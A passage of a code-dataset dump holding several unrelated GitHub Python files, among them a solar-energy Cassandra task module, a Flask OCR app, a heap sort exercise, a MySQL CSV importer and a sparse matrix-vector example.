float(existing_power_value) + float(power)\n                session.execute(update_power_statement, [updated_power,\n                                                         plant_slug,\n                                                         timestamp])\n            else:\n                session.execute(update_power_statement, [power,\n                                                         plant_slug,\n                                                         timestamp])\n            return 0\n        else:\n            #logger.debug(\"Unable to get a new cassandra session in update power\")\n            return 1\n    except Exception as exc:\n        #logger.debug(exc)\n        write_logging_errors(sys._getframe().f_code.co_name)\n        return 1\n\n@shared_task\ndef update_energy(identifier, ts, energy, energy_today=None):\n    try:\n        #logger.debug(\"starting timestamps-1\")\n        if energy_today:\n            logger.debug(\",\".join([identifier, str(ts), str(energy), str(energy_today), \"update_energy\"]))\n        else:\n            logger.debug(\",\".join([identifier, str(ts), str(energy), \"update_energy\"]))\n        #logger.debug(\"starting timestamps0\")\n        identifiers = [identifier]\n        #logger.debug(\"starting timestamps1\")\n        # let's use the monday of the week as the timestamp for weeks\n        week_details = ts.isocalendar()\n        #logger.debug(\"starting timestamps2\")\n        week = Week(week_details[0], week_details[1])\n        #logger.debug(\"starting timestamps3\")\n        week_monday_date = week.monday()\n        #logger.debug(\"starting timestamps4\")\n        timestamps = [(settings.DATA_COUNT_PERIODS.FIVE_MINTUES, ts.replace(minute=ts.minute - ts.minute%5, second=0, microsecond=0)),\n                      (settings.DATA_COUNT_PERIODS.HOUR, ts.replace(minute=0, second=0, microsecond=0)),\n                      (settings.DATA_COUNT_PERIODS.DAILY, ts.replace(hour=0, minute=0, second=0, microsecond=0)),\n                      (settings.DATA_COUNT_PERIODS.WEEK, ts.replace(month=week_monday_date.month,\n                                                                    day=week_monday_date.day, hour=0, minute=0,\n                                                                    second=0, microsecond=0)),\n                      (settings.DATA_COUNT_PERIODS.MONTH, ts.replace(day=1, hour=0,\n                                                                     minute=0, second=0, microsecond=0))]\n        session = connections['cassandra'].connection.session\n\n        if session:\n            get_energy_statement = session.prepare(\"SELECT energy from dataglen_data.energy_generation_table WHERE timestamp_type = ? AND count_time_period = ? AND identifier = ? AND ts = ?\")\n            update_energy_statement = session.prepare(\"UPDATE dataglen_data.energy_generation_table SET energy = ? WHERE timestamp_type = ? AND count_time_period = ? AND identifier = ? AND ts = ?\")\n            #logger.debug(\"Statements prepared5\")\n            for identifier in identifiers:\n                for entry in timestamps:\n                    #logger.debug(identifier)\n                    #logger.debug(entry[0])\n                    #logger.debug(entry[1])\n                    existing_energy = session.execute(get_energy_statement, [settings.TIMESTAMP_TYPES.BASED_ON_REQUEST_ARRIVAL,\n                                                                             entry[0],\n                                                                             identifier,\n                                                                             entry[1]])\n\n                    if existing_energy:\n                        existing_energy_value = float(existing_energy[0]['energy'])\n                        updated_energy = existing_energy_value + energy\n\n                        # if it's a daily energy log, check if we missed any points\n                        if energy_today and entry[0] == settings.DATA_COUNT_PERIODS.DAILY:\n                            if updated_energy != energy_today:\n                                updated_energy = energy_today\n\n\n                        # TODO fix the week values, we will probably need am offline job for that\n\n                        session.execute(update_energy_statement, [updated_energy,\n                                                                  settings.TIMESTAMP_TYPES.BASED_ON_REQUEST_ARRIVAL,\n                                                                  entry[0],\n                                                                  identifier,\n                                                                  entry[1]])\n                    else:\n                        session.execute(update_energy_statement, [energy,\n                                                                  settings.TIMESTAMP_TYPES.BASED_ON_REQUEST_ARRIVAL,\n                                                                  entry[0],\n                                                                  identifier,\n                                                                  entry[1]])\n            return 0\n        else:\n            logger.debug(\"Unable to get a new cassandra session\")\n            return 1\n    except:\n        write_logging_errors(sys._getframe().f_code.co_name)\n        return 1","repo_name":"gokul-cloudside/kutbull-original-backup","sub_path":"solarrms/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":20243,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"42138993063","text":"# Flask\nfrom flask import Flask, request, render_template, jsonify\n\n# Some utilites\nimport numpy as np\nimport cv2\nfrom helper.util import base64_to_pil, draw, np_to_base64, read_url_img\n\n# Declare a flask app\napp = Flask(__name__)\n\n# Models\nfrom dnn.main import text_ocr\n\nTEXT_LINE_SCORE=0.7## min prob thres for text line detection\nscale = 900##no care text.cfg height,width\nmaxScale = 1800\n\n@app.route('/', methods=['GET'])\ndef index():\n    # Main page\n\n    return render_template('index.html')\n    \n@app.route('/predict', methods=['GET', 'POST'])\ndef predict():\n    if request.method == 'POST':\n        # Get the image/image_url from post request\n        try:\n            img = base64_to_pil(request.json)\n        except:\n            img = read_url_img(request.json)\n\n        image = np.array(img)\n        image =  cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n        data,boxes = text_ocr(image,scale,maxScale,TEXT_LINE_SCORE)\n        res_image = draw(boxes,img)       \n        return jsonify(result=data, image=np_to_base64(np.array(res_image)))\n    return None\n\nif __name__ == '__main__':\n    # FOR LOCAL RUN DEPLOY\n    # app.run(port=3000, debug=True)\n    \n    # FOR LOCAL RUN DOCKER\n    app.run(host='0.0.0.0',port=5002, debug=False)\n    \n    # FOR DEPLOYMENT DOCKER\n    # import os\n    # port = int(os.environ.get('PORT', 5000))\n    # app.run(host = '0.0.0.0', port = port)\n\n","repo_name":"suinaowawa/chinese-ocr-flask-deploy","sub_path":"app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"29690111360","text":"import constants\nfrom sklearn import decomposition\nfrom random import uniform, randrange\nimport re\nimport numpy as np\n\n\nclass FeatureSelect:\n    def __init__(self, data, extra_fit=False):\n        self.data = data\n        self.matrix = data.as_matrix(x for x in data.columns if x not in constants.COLUMN_THRESHOLD)\n        self.components = self.matrix\n        self.features = None\n        self.extra_fit = extra_fit\n\n    def pca(self, no_components=2):\n        self.features = decomposition.PCA(n_components=no_components)\n        self.fit()\n\n    def lda(self, no_topics=2):\n        self.features = decomposition.LatentDirichletAllocation(n_topics=no_topics, learning_method='batch')\n        self.fit()\n\n    def ica(self):\n        self.features = decomposition.FastICA()\n        self.fit()\n\n    def fit(self):\n        if self.extra_fit:\n            col = self.data.as_matrix(x for x in self.data.columns if x in constants.COLUMN_THRESHOLD and re.match(\"^[S-U].*\", x))\n            for arr in col:\n                if uniform(0, 1) > 0.81:\n                    arr[0] = randrange(1, 6)\n            self.components = np.c_[self.features.fit(self.matrix).transform(self.matrix), col]\n        else:\n            self.components = self.features.fit(self.matrix).transform(self.matrix)\n","repo_name":"alexdevmotion/eeg-image-classifier","sub_path":"classes/featureselect.py","file_name":"featureselect.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"43644516036","text":"def heap_sort (vetor):\n    tamanho = len(vetor)\n    montar_heap(vetor,tamanho)\n    while tamanho > 1:\n        vetor[0],vetor[tamanho-1] = vetor[tamanho-1],vetor[0]\n        tamanho -= 1\n        max_heapify(vetor,0,tamanho)\n    \ndef max_heapify (vetor,raiz,tam):\n    maior = raiz\n\n    esq = 2*raiz+1\n    if esq < tam and vetor[esq] > vetor[maior]:\n        maior = esq\n\n    dir =2*raiz+2\n    if dir < tam and vetor[dir] > vetor[maior]:\n        maior = dir\n    \n    if maior != raiz:\n        vetor[raiz],vetor[maior] = vetor[maior],vetor[raiz]\n        max_heapify(vetor,maior,tam)\n    \n\ndef montar_heap(vetor,tam):\n    last = int((tam/2)-1)\n    for i in range(last,-1,-1):\n        max_heapify(vetor,i,tam) \n\n\nentrada = eval(input())\n\nwhile entrada != []:\n\n    heap_sort(entrada)\n    print(entrada)\n\n    entrada = eval(input())","repo_name":"NinjaCompacto/Exercicios-de-Algoritmo-e-Estrutura-de-Dados-2","sub_path":"Ordenação/Heap Sort/Heap_Sort.py","file_name":"Heap_Sort.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2434947971","text":"import MySQLdb\nimport csv\nimport collections\n\nPATH = \"/Users/gaoyounan/Desktop/Summer Term/Data Management/a1/CSV files/\"\ndb = MySQLdb.connect(\"35.183.6.252\", \"myuser\", \"mypass\", \"busDB\", charset='utf8' )\ncursor = db.cursor()\nfiles=open(PATH+'trips.csv','rb')\nReader = csv.DictReader(files)\n\nli = []\nt = 0\nfor row in Reader:\n    t = t+1\n    #row = collections.OrderedDict(originalRow)\n    row['bus_num'] = row['route_id'].split('-')[0]\n    str_arr = row['trip_id'].split('-')\n    row['day'] = str_arr[len(str_arr)-2]\n    row['sequence'] = str_arr[len(str_arr) - 1]\n    row['trip_identification'] = int(str_arr[0])\n\n    qmarks = ', '.join(['%s'] * len(row))\n\n    cols = ', '.join(row.keys())\n    sql = \"INSERT INTO %s (%s) VALUES (%s)\" % ('trips', cols, qmarks)\n\n    li.append(row.values())\n    if t % 1000 == 0:\n        cursor.executemany(sql, li)\n        db.commit()\n        li = []\n\nif len(li) != 0:\n    cursor.executemany(sql, li)\n    db.commit()\n\n\nfiles.close()\ndb.close()","repo_name":"gaoyounan123/DB_Assignment1","sub_path":"Import Data into MySQL/Trip.py","file_name":"Trip.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41942278652","text":"#https://www.hackerrank.com/challenges/most-commons/problem\n\n# !/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\nif __name__ == '__main__':\n    s = input()\n\n    result = dict()\n    for c in s:\n        if c not in result:\n            result[c] = 1\n        else:\n            result[c] += 1\n\n    count = 3\n    for val in sorted(set(result.values()), reverse=True):\n        subresult = {k: v for k, v in result.items() if v == val}\n        subresult = dict(sorted(subresult.items()))\n        for k1, v1 in subresult.items():\n            count -= 1\n            if count <= -1:\n                break\n            print(k1, v1)\n","repo_name":"KrishnaRaam-HackerRank/Python","sub_path":"7.collections/company_logo.py","file_name":"company_logo.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"31605474921","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport numpy as np\r\n\r\n#Ellpack format\r\nA = np.array([[1,0,0,0,0],[0,0,2,0,3],[0,4,0,0,5],[0,0,6,0,0],[0,0,0,7,0],[0,0,0,0,8]])\r\nB = np.array([[1],[2],[3],[4],[5]])\r\n\r\ndef ellpack(matrix1, matrix2):\r\n    rowNum = int(matrix1.shape[0])\r\n    columnNum = int(matrix1.shape[1])\r\n    count = np.array([], dtype = int)\r\n    r = 0\r\n\r\n    for i in range(rowNum):\r\n        count = np.append(count, 0)\r\n        for j in range(columnNum):\r\n            if matrix1[i][j] != 0:\r\n                count[i] += 1\r\n    count = max(count)\r\n\r\n\r\n    NonZerosEntries = [[0 for i in range(count)] for j in range(rowNum)]\r\n    Column = [[-1 for i in range(count)] for j in range(rowNum)]\r\n    Result = np.array([], dtype = int)\r\n\r\n\r\n    for i in range(rowNum):\r\n        c = 0\r\n        for j in range(columnNum):\r\n            if matrix1[i][j] != 0:\r\n                NonZerosEntries[r][c] = matrix1[i][j]\r\n                Column[r][c] = j\r\n                c += 1\r\n        r += 1\r\n\r\n\r\n    #Ellpack kernel\r\n\r\n    for i in range(rowNum):\r\n        temp = 0\r\n        for j in range(count):\r\n            if Column[i][j] == -1:\r\n                break\r\n            else:\r\n                temp += NonZerosEntries[i][j] * matrix2[Column[i][j]]\r\n        Result = np.append(Result, temp)\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    ellpack(A,B)\r\n    print (\"Ellpack result is: \", Result)\r\n","repo_name":"zhengdianchuaichuai/SpMV","sub_path":"ellpack.py","file_name":"ellpack.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"40439303020","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 21 14:44:09 2019\n\n@author: mckaydjensen\n\"\"\"\n\nimport json\nimport os\nimport numpy as np\nimport pandas as pd\n\nFEATURES_LOC = 'twitter_data/features'\n\ndef main():\n    states_dict = {}\n    filenames = os.listdir(FEATURES_LOC)\n    for f in filenames:\n        print('Extracting predictions from \"{}\"...'.format(f))\n        with open(FEATURES_LOC + '/' + f, 'r', encoding='utf-8') as fh:\n            features = json.load(fh)\n        for tweet in features:\n            place = tweet['place']\n            score = tweet['prediction']\n            try:\n                states_dict[place].append(score)\n            except KeyError:\n                states_dict[place] = [score]\n    states = states_dict.keys()[0]\n    means = [np.mean(states_dict[state]) for state in states]\n    stdevs = [np.std(states_dict[state], ddof=1) for state in states]\n    df = pd.DataFrame({'state': states, 'mean': means, 'stdev': stdevs})\n    df.to_csv('datadatadatadata.csv')\n    return df","repo_name":"quevivasbien/twitter-sexism","sub_path":"compile_probabilities.py","file_name":"compile_probabilities.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"14546057132","text":"import PySimpleGUI as sg\nimport comportement\n\ntest = comportement.moveAnt()\n\nlayout = [[sg.Text(\"Valeur de x : \"+ str(test.x) +\" . Et valeur de y : \"+ str(test.y))], [sg.Button(\"Close window\")]]\n\nwindow = sg.Window(\"test\", layout, margins=(300,150))\n\nwhile True:\n    event, values = window.read()\n    if event == \"Close window\" or event == sg.WIN_CLOSED:\n        break\n\nwindow.close()","repo_name":"Alexandre-stoppini/fourmis","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"74712525494","text":"import bz2\nimport csv\nimport io\nimport json\n\n\ndef create_full_iterator(data):\n    if isinstance(data, (list, tuple)):\n        return identity_iterator\n\n    if hasattr(data, 'name'):\n        filename = data.name\n    elif isinstance(data, bz2.BZ2File):\n        filename = data._fp.name\n    else:\n        raise ValueError('This format is not supported')\n\n    filename_parts = filename.split('.')\n    if len(filename_parts) < 2:\n        return jsonlines_file_iterator\n    if 'jsonlines' in filename_parts[-2:]:\n        return jsonlines_file_iterator\n    if filename_parts[-1] == 'csv':\n        return csv_file_iterator\n\n\ndef _move_pointer_to_start(data):\n    try:\n        file_types = (file, io.IOBase, bz2.BZ2File)\n    except NameError:\n        file_types = (io.IOBase, bz2.BZ2File,)\n    if isinstance(data, file_types):\n        data.seek(0, 0)\n\n\ndef jsonlines_file_iterator(data):\n    decoder = json.JSONDecoder()\n    _move_pointer_to_start(data)\n\n    for obj in data:\n        if isinstance(obj, bytes):\n            obj = obj.decode('utf-8')\n        obj = decoder.decode(obj)\n        yield obj\n\ndef csv_file_iterator(data):\n    _move_pointer_to_start(data)\n    reader = csv.DictReader(data)\n    for obj in reader:\n        yield obj\n\ndef identity_iterator(data):\n   for obj in data:\n       yield obj\n","repo_name":"bashalex/datapot","sub_path":"datapot/iterators.py","file_name":"iterators.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"22"}
+{"seq_id":"74544346295","text":"def celsius(valor):\n    valor1=(valor*9/5)+32\n    return f'o valor {valor} celsius convertido para fahrenheit é: {valor1}'\n\nprint(celsius(int(input(\"digite um valor inteiro \"))))\n\ndef repetir(valor,valor1):\n    valor2= valor.count(valor1)\n    return f'o {valor1} se repete: {valor2}'\n\nvalor=input('digite palavras separadas por espaço ')\nvalor1=input('digite a letra que quer saber a quantidade que se repete  ')\nprint(repetir(valor,valor1))\n\ndef media(valor,valor1,valor2,valor3):\n    valor4= (valor+valor1+valor2+valor3)/4\n    \n    return f'a media das 4 notas é: {valor4}'\nvalor=float(input('digite o 1º valor '))\nvalor1=float(input('digite o 2º valor '))\nvalor2=float(input('digite o 3º valor '))\nvalor3=float(input('digite o 4º valor '))\nprint(media(valor,valor1,valor2,valor3))\n\n\ndef maior():\n    lista = []\n    while True:\n       n = int(input('Digite o número :'))\n       b = input(\"deseja continuar [S/N] \").upper()\n       lista.append(n)\n       if b == 'N':\n          break\n    return f' numero maior:{max(lista)}\\n numero menor:{min(lista)}'\n    \n                      \nprint(maior())\n\nimport math\n\ndef area(valor):\n    valor1=math.pi*(valor*valor)\n    return f'a area do circula é :{round(valor1,2)}'\n\nprint(area(12))\n\n    ","repo_name":"hugoerico/aula14","sub_path":"felipe_exercicio45678.py","file_name":"felipe_exercicio45678.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26950696062","text":"import torch\nimport numpy as np\nimport copy\n\nimport torch.nn as nn\nfrom utils.globals import *\n\n\ninner_nodes = {}\nnode_dict = {}\nlabel2id = {}\ntree = None\n\n\nclass InferTree(nn.Module):\n    def __init__(self, arch, num_classes, dim, criterion, lamb, device) -> None:\n        super().__init__()\n        self.num_classes = num_classes\n        self.dim = dim\n        self.criterion = criterion\n        self.lamb = lamb\n        self.device = device\n\n        global tree, node_dict, label2id\n        node_dict = get_value('node_dict')\n        label2id = get_value('label2id')\n        tree = get_value('tree')\n        tree.prob = 1.\n        tree.path_prob = 1.\n\n        self.depth = 0\n        if arch == 'cifar10':\n            self.depth = 5\n        elif arch == 'cifar100':\n            self.depth = 10\n        elif arch == 'tiny-imagenet':\n            self.depth = 10\n        elif arch == 'imagenet':\n            self.depth = 13\n\n        # if arch == 'cifar10':\n        #     self.depth = 12\n        # elif arch == 'cifar100':\n        #     self.depth = 14\n        # elif arch == 'tiny-imagenet':\n        #     self.depth = 13\n        # elif arch == 'imagenet':\n        #     self.depth = 14\n\n        for i in range(self.depth):\n            inner_nodes[i+1] = []\n        self.__build_tree()\n\n        self.env_params = {}\n\n    def __build_tree(self):\n        def build(node, layer):\n            node.set_weight(torch.rand(1, self.dim).to(self.device))\n            node.set_layer(layer)\n            layers = [\n                # nn.Conv2d(self.dim, self.dim, kernel_size=1, stride=1, bias=False),\n                nn.Linear(self.dim, node.num_child()+1)\n            ]\n            # 增加一个类别表示分类错误（需要返回到父节点）？，\n\n            node.set_subid(get_value('label2id'))\n            classifier = nn.Sequential(*layers).to(self.device)\n            node.set_classifier(classifier)\n            inner_nodes[node.layer].append(node)\n\n            for i in node.children.keys():\n                build(node.children[i], layer+1)\n            return 0\n\n        node = tree\n        if node.is_leaf() or node == None:\n            # node error\n            return None\n        build(node, 1)\n        return node\n\n    def forward(self, x, labels):\n        penalty = torch.tensor(0.0).to(self.device)\n        out = torch.zeros([x.shape[0], self.num_classes+1], dtype=torch.float32).to(self.device)\n\n        for l, nodes in inner_nodes.items():\n            for node in nodes:\n                if node.is_leaf():\n                    continue\n                x_t = x + node.weight.expand_as(x)\n                sub_output = node.classifier(x_t)\n                prob = torch.softmax(sub_output, dim=1)\n                # sub_labels = []\n                # for label in labels.cpu().numpy():\n                #     lp = get_value('lpaths')[label]\n                #     if len(lp) <= l:\n                #         sub_labels.append(0)\n                #     else:\n                #         sub_labels.append(node.get_subid(lp[l]))\n                # sub_labels = torch.as_tensor(sub_labels).to(self.device)\n\n                # penalty += self.criterion(prob, sub_labels, len(node.children)+1) / l\n\n                node.sub_prob = copy.copy(prob).data\n                node.decay = torch.ones((x.shape[0], 1)).to(self.device)\n                for i, child in node.children.items():\n                    # child.prob = sub_output[:, i+1]\n                    child.path_prob = prob[:, i+1] * node.path_prob\n                    if child.is_leaf():\n                        idx = get_value('label2id')[child.wnid]\n                        out[:, idx] += child.path_prob\n\n        return out[:, 1:]\n\n    def infer_hard(self, x):\n        out = torch.zeros([x.shape[0], 2], dtype=torch.float32).to(self.device)\n\n        for i in range(x.shape[0]):\n            node = inner_nodes[1][0]\n            path = [node.wnid]\n            while not node.is_leaf():\n                pred = node.choose_child(i)\n                if pred == 0:\n                    p = node.parent\n                    for k, v in p.children.items():\n                        if v.wnid == node.wnid:\n                            break\n                    p.sub_prob[i][k+1] = 0\n                    node = p\n                else:\n                    node = node.children[pred-1]\n                path.append(node.wnid)\n            out[i][0] = label2id[path[-1]] - 1\n\n            while node.parent != None:\n                p = node.parent\n                for k, v in p.children.items():\n                    if v.wnid == node.wnid:\n                        break\n                if node.is_leaf():\n                    p.decay[i] = 1 - p.sub_prob[i][k+1]\n                    p.sub_prob[i][k+1] = 0\n                else:\n                    p.decay[i] = 1 - p.sub_prob[i][k+1] * (1 - node.decay[i])\n                node = p\n\n            # second infer\n            node = inner_nodes[1][0]\n            sec_path = [node.wnid]\n            while not node.is_leaf():\n                for k, v in node.children.items():\n                    if v.is_leaf():\n                        node.sub_prob[i][k+1] *= 1\n                    else:\n                        node.sub_prob[i][k+1] *= v.decay[i].item()\n                pred = node.choose_child(i)\n                if pred == 0:\n                    p = node.parent\n                    for k, v in p.children.items():\n                        if v.wnid == node.wnid:\n                            break\n                    p.sub_prob[i][k+1] = 0\n                    node = p\n                else:\n                    node = node.children[pred-1]\n                sec_path.append(node.wnid)\n            out[i][1] = label2id[sec_path[-1]] - 1\n\n        return out\n","repo_name":"Jesson-Guo/neural-symbolic-Multi-granularity-classification","sub_path":"src/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":5730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"3590152410","text":"from domain import UnavailabilityTime\n\n\ndef create_event(session, userId, title, startTime, endTime, periodicity):\n    \"\"\"\n     Function to create an event\n    :param session: session\n    :param userId: Integer, user id\n    :param title: String, reason why unavailable\n    :param startTime: DateTime, from what time is unavailable\n    :param endTime: DateTime, to what time is unavailable\n    :param periodicity: Integer, Daily = 1, Weekly = 2, One-Off = 3\n    \"\"\"\n    event = UnavailabilityTime(userId=userId, title=title, start=startTime, end=endTime,\n                               periodicity=periodicity)\n    session.add(event)\n    # session.expunge(question)\n    session.flush()\n    return event.eventId\n\n\ndef remove_event(session, userId, eventId):\n    \"\"\"\n    Function to remove an event\n    :param session: session\n    :param userId: Integer, user id, who want to remove an event\n    :param eventId: Integer, event id want to remove\n    :return: True: remove successful\n             False: remove failed\n    \"\"\"\n    existing = session.query(UnavailabilityTime).filter(UnavailabilityTime.userId == userId,\n                                                        UnavailabilityTime.eventId == eventId).first()\n    if existing is not None and existing.status is True:\n        existing.status = False\n        return True\n    return False\n\n\ndef update_event(session, userId, eventId, startTime, endTime, title, periodicity):\n    \"\"\"\n    Function to update an event\n    :param session: session\n    :param userId: Integer, user id, who want to update an event\n    :param eventId: Integer, user id, which event to be updated\n    :param title: String, reason why unavailable\n    :param startTime: DateTime, from what time is unavailable\n    :param endTime: DateTime, to what time is unavailable\n    :param periodicity: Integer, Daily = 1, Weekly = 2, One-Off = 3\n    :return: True: update successful\n             False: update failed\n    \"\"\"\n    event = session.query(UnavailabilityTime).filter(UnavailabilityTime.userId == userId,\n                                                     UnavailabilityTime.eventId == eventId).first()\n\n    if not event.status:\n        return False\n    event.startTime = startTime\n    event.endTime = endTime\n    event.title = title\n    event.periodicity = periodicity\n    return True\n\n\ndef fetch_event(session, userId):\n    \"\"\"\n    Find all unavailable events for specified user\n    :param session: session\n    :param userId: user id\n    \"\"\"\n    events = session.query(UnavailabilityTime) \\\n        .filter(UnavailabilityTime.status == 1, UnavailabilityTime.userId == userId).all()\n    # We need to use objects after this session closed\n    session.expunge_all()\n    return events\n","repo_name":"TechlauncherFireApp/FireApp3.0","sub_path":"backend/repository/unavailability_repository.py","file_name":"unavailability_repository.py","file_ext":"py","file_size_in_byte":2712,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"9757327204","text":"from random import randint\n\"\"\"\nЗадание №4\n✔ Функция получает на вх��д список чисел.\n✔ Отсортируйте его элементы in place без использования\nвстроенных в язык сортировок.\n✔ Как вариант напишите сортировку пузырьком.\nЕё описание есть в википедии.\n\"\"\"\n\n\ndef sort_(data: list):\n    ind = 0\n    while ind < len(data):\n        for first in range(len(data) - 1):\n            if data[first] > data[first + 1]:\n                data[first + 1], data[first] = data[first], data[first + 1]\n        ind += 1\n    return data\n\nlst = [randint(-1000, 1000) for _ in range(10)]\nprint(lst)\nresult = sort_(lst)\nprint(result)","repo_name":"jonmd87/immersion_python","sub_path":"venv/seminars/Seminar_4/task_4.py","file_name":"task_4.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"71026041337","text":"#!usr/bin/python\nfrom datastuff import *\nfrom array import array\nimport testdata as t\n\ndef getMaxChunks(space_id):\n  max_chunks = -1\n  if space_id == 'd':\n    #tomi dropbox\n    max_chunks = 1000\n  elif space_id == 'g':\n    #tomi google\n    max_chunks = 1000\n  return max_chunks\n\ndef getUsedChunks(space_id):\n  used_chunks = -1\n  if space_id == 'd':\n    #tomi dropbox\n    used_chunks = 100\n\n  elif space_id == 'g':\n    #tomi google\n    used_chunks = 100\n  return used_chunks\n\n# file is a bytes array\ndef upload_req(file, filename, size):\n  # first verify if enough space\n  d_available = getMaxChunks('d') - getUsedChunks('d')\n  g_available = getMaxChunks('g') - getUsedChunks('g')\n  if (d_available + g_available) * CHUNK_SIZE < size:\n    return \"NOT_ENOUGH_SPACE\"\n\n  start_chunk, start_offset = get_last_used_chunk_and_offset()\n\n  if start_offset == CHUNK_SIZE:\n    start_chunk = start_chunk + 1\n    # reset the starting offset for the next chunk\n    start_offset = DEFAULT\n\n  chunks, chunk_IDs, end_offset = split(start_chunk, start_offset, size, file)\n\n  add_file_to_filelist(filename, chunk_IDs, start_offset, end_offset)\n\n  # store ranges\n  for i in xrange(len(chunk_IDs) - 1):\n    set_chunk_offset(chunk_IDs[i], CHUNK_SIZE)\n\n  #last chunk\n  set_chunk_offset(chunk_IDs[len(chunk_IDs) - 1], size % CHUNK_SIZE)\n\n  return upload_storage(chunks, chunk_IDs)\n\n# primit de la frontend\ndef download_req(filename, testFlag):\n  chunk_start = get_file_start_offest(filename)\n  chunk_end = get_file_end_offset(filename)\n  \n  chunk_numbers = get_file_chunks(filename) # list of chunk numbers\n\n  # print chunk_start, ' ', chunk_end, ' ', chunk_numbers\n\n  # request la tomi pentru chunks\n  chunks = download_storage(chunk_numbers, testFlag)\n  \n  final_file = []\n  if len(chunk_numbers) == 1:\n    final_file = chunks[0][chunk_start : chunk_end]\n  else:\n    final_file = chunks[0][chunk_start:]\n    for i in xrange(1, len(chunks_numbers) - 1):\n      final_file = final_file + chunks[i]\n    final_file = final_file + chunks[len(chunks_numbers) - 1][:chunk_end]\n\n  return final_file\n\ndef download_storage(chunk_numbers, testing):\n  #request la tomi\n  chunks = []\n  \n  #TODO remove when not testing\n  if testing:\n    for i in xrange(len(chunk_numbers)):\n      chunks.append(t.test_CHUNKS[chunk_numbers[i]]) \n\n  return chunks\n\n# trimis lui tomi\ndef upload_storage(chunks, chunk_IDs):\n  #files = generate_files(chunks)\n  # call la tomi cu files\n  #print \"CHUNKS\", chunks, chunk_IDs\n  spaces = ['d', 'g']\n  # bad code:\n  used_chunks = getUsedChunks('d') + getUsedChunks('g')\n  max_used_chunks_d = getMaxChunks('d')\n  max_used_chunks_g = getMaxChunks('g')\n\n  for chunk in chunks:\n    #TODO: trimis request de upload lui tomi\n    if used_chunks > max_used_chunks_d:\n      a = 1\n      #TODO: trimis request de upload google\n    else:\n      a = 1\n      #TODO: trimis request de upload dropbox\n    used_chunks = used_chunks + 1\n  return chunks, chunk_IDs\n\n# request lui tomi\ndef list_storage(userID):\n  filelist = get_file_list()\n\n  return filelist.keys()\n\n# write the file to a list of chunks\n# start chunk is requested and overwritten from the last file's offset\n# returns:\n# 1. the list of data chunks\n# 2. the list of associated chunk IDs\ndef split(start_chunk, start_offset, size, file):\n  # TODO check if file fits in one chunk only\n  offset = 0\n  end_offset = 0\n  chunk_number = start_chunk\n\n  chunk_list = []\n  chunk_IDs = []\n\n  if start_offset > 0:\n    initial_chunk, start_offset = req_chunk(start_chunk)\n\n    if size < CHUNK_SIZE - start_offset:\n      end_offset = start_offset + size\n    else:\n      end_offset = CHUNK_SIZE\n\n    initial_chunk[start_offset:end_offset] = file[0 : (CHUNK_SIZE - start_offset)]\n    size = size - (CHUNK_SIZE - start_offset)\n    offset = CHUNK_SIZE - start_offset\n    chunk_list.append(initial_chunk)\n    chunk_IDs.append(chunk_number)\n    chunk_number = chunk_number + 1\n\n  while size > 0:\n    if size < CHUNK_SIZE:\n      new_chunk = array(\"B\", CHUNK_SIZE * '0')\n      new_chunk[0 : size] = file[offset:]\n      end_offset = size\n      chunk_IDs.append(chunk_number)\n    else:\n      new_chunk = file[offset : offset + CHUNK_SIZE]\n      offset = offset + CHUNK_SIZE\n      end_offset = CHUNK_SIZE\n      chunk_IDs.append(chunk_number)\n      chunk_number = chunk_number + 1\n\n    size = max(0, size - CHUNK_SIZE)\n\n    chunk_list.append(new_chunk)\n\n  return chunk_list, chunk_IDs, end_offset\n\n# makes request to storage backend for the chunk last chunk that is\n# available for writing\n# also returns the offset where we can start writing in that chunk\n# TODO implementation\ndef req_chunk(start_chunk):\n  # returns initial_chunk data, start_offset\n  # return array(\"B\", \"g\"), 1\n  return t.test_CHUNKS[start_chunk], chunk_index[start_chunk]\n","repo_name":"TomyRO/Mango","sub_path":"functii.py","file_name":"functii.py","file_ext":"py","file_size_in_byte":4750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
